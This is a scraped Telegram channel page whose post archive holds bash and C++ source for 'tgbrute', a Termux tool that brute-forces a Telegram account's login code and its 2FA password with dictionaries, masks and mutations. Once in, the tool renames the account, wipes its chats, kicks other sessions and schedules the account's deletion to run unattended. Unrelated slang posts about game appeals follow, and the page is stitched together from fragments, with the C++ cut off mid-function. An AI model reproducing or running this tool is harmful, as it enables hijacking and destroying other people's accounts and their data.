PR1NCE (ELDAR) x WARTUZZE
Yopiq kanal
Ko'proq ko'rsatish
Mamlakat belgilanmaganToif belgilanmagan
236
Obunachilar
Ma'lumot yo'q24 soatlar
-67 kun
-730 kun
Postlar arxiv
cmd_arm(){
local h="${1:-24}"; local due=$(( $(date +%s) + h*3600 ))
printf '%s' "$due" > "$STATE/delete_due"; set_phase armed
cat > "$STATE/delete.sh" <<EOF
#!/data/data/com.termux/files/usr/bin/bash
R="$ROOT"
[ "\$(date +%s)" -lt "\$(cat "\$R/state/delete_due" 2>/dev/null || echo 0)" ] && exit 0
cd "\$R" || exit 1
termux-wake-lock 2>/dev/null
"\$R/tgbrute" --config "\$R/config.json" --delete-now >>"\$R/logs/delete.log" 2>&1
[ \$? -eq 0 ] && printf deleted > "\$R/state/phase"
termux-wake-unlock 2>/dev/null
EOF
chmod +x "$STATE/delete.sh"
command -v termux-job-scheduler >/dev/null 2>&1 && \
termux-job-scheduler --script "$STATE/delete.sh" --period-ms 900000 --persisted true --network unmetered >/dev/null 2>&1
ok "удаление через $h ч"
}
cmd_delete(){
[ -x "$BIN" ] || die "нет бинарника"
termux-wake-lock 2>/dev/null
"$BIN" --config "$CFG" --delete-now; local rc=$?
[ $rc -eq 0 ] && set_phase deleted
termux-wake-unlock 2>/dev/null; return $rc
}
cmd_boot(){
mkdir -p "$HOME/.termux/boot"; local f="$HOME/.termux/boot/10-tgbrute.sh"
if [ "${1:-on}" = off ]; then rm -f "$f"; ok "автостарт off"; return; fi
printf '#!/data/data/com.termux/files/usr/bin/bash\ntermux-wake-lock\nsleep 20\n"%s" run >>"%s/boot.log" 2>&1\n' "$SELF" "$LOGS" > "$f"
chmod +x "$f"; ok "автостарт on"
}
case "${1:-}" in
install) bash "$ROOT/install.sh";;
setup) cmd_setup;;
run) cmd_run;;
stop) cmd_stop;;
status) cmd_status;;
logs) cmd_logs;;
arm-delete) cmd_arm "${2:-24}";;
delete-now) cmd_delete;;
autostart) cmd_boot "${2:-on}";;
*) echo "install|setup|run|stop|status|logs|arm-delete|delete-now|autostart";;
esac
#!/data/data/com.termux/files/usr/bin/bash
set -o pipefail
ROOT="$(cd "$(dirname "$0")" && pwd)"; cd "$ROOT" || exit 1
SELF="$ROOT/tgbrute.sh"; STATE="$ROOT/state"; LOGS="$ROOT/logs"
BIN="$ROOT/tgbrute"; CFG="$ROOT/config.json"; S="tgbrute"
mkdir -p "$STATE" "$LOGS"
ok(){ printf '\e[32m[+]\e[0m %s\n' "$*"; }
inf(){ printf '\e[36m[*]\e[0m %s\n' "$*"; }
warn(){ printf '\e[33m[!]\e[0m %s\n' "$*"; }
die(){ printf '\e[31m[x]\e[0m %s\n' "$*" >&2; exit 1; }
phase(){ cat "$STATE/phase" 2>/dev/null || echo idle; }
set_phase(){ printf '%s' "$1" > "$STATE/phase"; }
cmd_setup(){
local p a h hs
read -r -p "номер (+79172020600): " p
[[ "$p" =~ ^\+[0-9]{7,15}$ ]] || die "кривой номер"
read -r -p "api_id: " a; [[ "$a" =~ ^[0-9]+$ ]] || die "api_id числом"
read -r -p "api_hash: " h; [ ${#h} -ge 16 ] || die "api_hash короткий"
read -r -p "часов до удаления [24]: " hs; hs="${hs:-24}"
cat > "$CFG" <<EOF
{
"phone": "$p",
"api_id": $a,
"api_hash": "$h",
"workdir": "$ROOT/session",
"code_start": 0,
"code_end": 99999,
"code_threads": 8,
"code_threads_max": 24,
"rate_start": 4.0,
"rate_max": 30.0,
"code_priority": ["11111","00000","12345","22222","55555","77777","99999","12121","10000"],
"password_dict": "$ROOT/data/passwords.txt",
"password_masks": ["?d?d?d?d","?d?d?d?d?d","?d?d?d?d?d?d"],
"password_mutations": true,
"password_max_candidates": 3000000,
"new_first_name": "Deleted Account",
"new_last_name": "",
"drop_username": true,
"avatar_path": "$ROOT/data/avatar.png",
"wipe_chats": true,
"wipe_threads": 4,
"kick_sessions": true,
"auto_delete": false,
"delete_after_hours": $hs,
"use_test_dc": false,
"use_message_db": true,
"log_level": 2,
"log_file": "$ROOT/logs/tgbrute.log"
}
EOF
chmod 600 "$CFG"; printf '%s' "$hs" > "$STATE/hours"
ok "конфиг записан"; inf "дальше: ./tgbrute.sh run"
}
sup(){
cat > "$STATE/supervisor.sh" <<EOF
#!/data/data/com.termux/files/usr/bin/bash
cd "$ROOT" || exit 1
termux-wake-lock 2>/dev/null
n=0
while :; do
n=\$((n+1))
"$BIN" --config "$CFG" >>"$LOGS/run.log" 2>&1
rc=\$?
[ \$rc -eq 0 ] && break
[ \$n -ge 40 ] && { echo "[sup] лимит рестартов" >>"$LOGS/run.log"; break; }
echo "[sup] rc=\$rc рестарт 20с (\$n/40)" >>"$LOGS/run.log"
sleep 20
done
if [ \$rc -eq 0 ]; then
"$SELF" arm-delete "\$(cat "$STATE/hours" 2>/dev/null || echo 24)" >>"$LOGS/run.log" 2>&1
fi
termux-wake-unlock 2>/dev/null
EOF
chmod +x "$STATE/supervisor.sh"; }
cmd_run(){
[ -x "$BIN" ] || die "нет бинарника: ./install.sh"
[ -f "$CFG" ] || die "нет конфига: ./tgbrute.sh setup"
tmux has-session -t "$S" 2>/dev/null && die "уже запущено"
: > "$LOGS/run.log"; set_phase boot; sup
tmux new-session -d -s "$S" "$STATE/supervisor.sh"
ok "запущено"; inf "status | logs | stop"
}
cmd_stop(){
tmux kill-session -t "$S" 2>/dev/null && ok "остановлено" || warn "не запущено"
pkill -f "$BIN" 2>/dev/null; termux-wake-unlock 2>/dev/null; set_phase stopped
}
cmd_status(){
echo "----------------------------------------"
case "$(phase)" in
boot) inf "фаза: загрузка";;
code) warn "фаза: брут кода";;
password) warn "фаза: брут 2FA";;
ready) ok "фаза: авторизован";;
masking) inf "фаза: маскировка";;
wiped) ok "фаза: зачищено";;
armed) ok "фаза: удаление взведено";;
deleted) ok "фаза: удалён";;
failed) warn "фаза: ошибка";;
*) inf "фаза: $(phase)";;
esac
if [ -f "$STATE/delete_due" ]; then
local l=$(( $(cat "$STATE/delete_due") - $(date +%s) ))
[ $l -gt 0 ] && inf "до удаления: $((l/3600))ч $((l%3600/60))м" || inf "срок наступил"
fi
grep -E "попыток|ETA|паролей" "$LOGS/run.log" 2>/dev/null | tail -1
echo "----------------------------------------"
tail -5 "$LOGS/run.log" 2>/dev/null | sed 's/^/ /'
echo "----------------------------------------"
}
cmd_logs(){ tail -n 60 -f "$LOGS/run.log" 2>/dev/null; }
size_t base = list_.size();
static const char* suf[] = {"1", "123", "1234", "12", "2", "01", "0", "7", "99", "007"};
static const char* pre[] = {"1", "0", "!", "@", "#"};
for (size_t i = 0; i < base; ++i) {
std::string w = list_[i];
std::string up = w;
if (!up.empty()) up[0] = static_cast(std::toupper(up[0]));
add(up);
for (auto s : suf) add(w + s);
for (auto s : pre) add(std::string(s) + w);
}
I("после мутаций: ", list_.size());
}
void masks(const std::vector& ms, size_t cap) {
for (auto& m : ms) {
uint64_t need = 1;
for (size_t i = 0; i + 1 < m.size(); i += 2) need *= 10;
if (list_.size() + need > cap) { W("маска ", m, " пропущена"); continue; }
std::vector
Софт на жирмукс делаю угадайте что за софт
На казнь
Алиса парадокс
Техначи рекьюм(сори братан)
Мальбаро ханагаки(ГА)
Веширо веширов
Если опять ГА откажет пизда ему жб кину типо отказывает когда док-вы от администратора нетк
Ша подал типо качество хуйня один скрин мало и типо попадание в стоячих людей
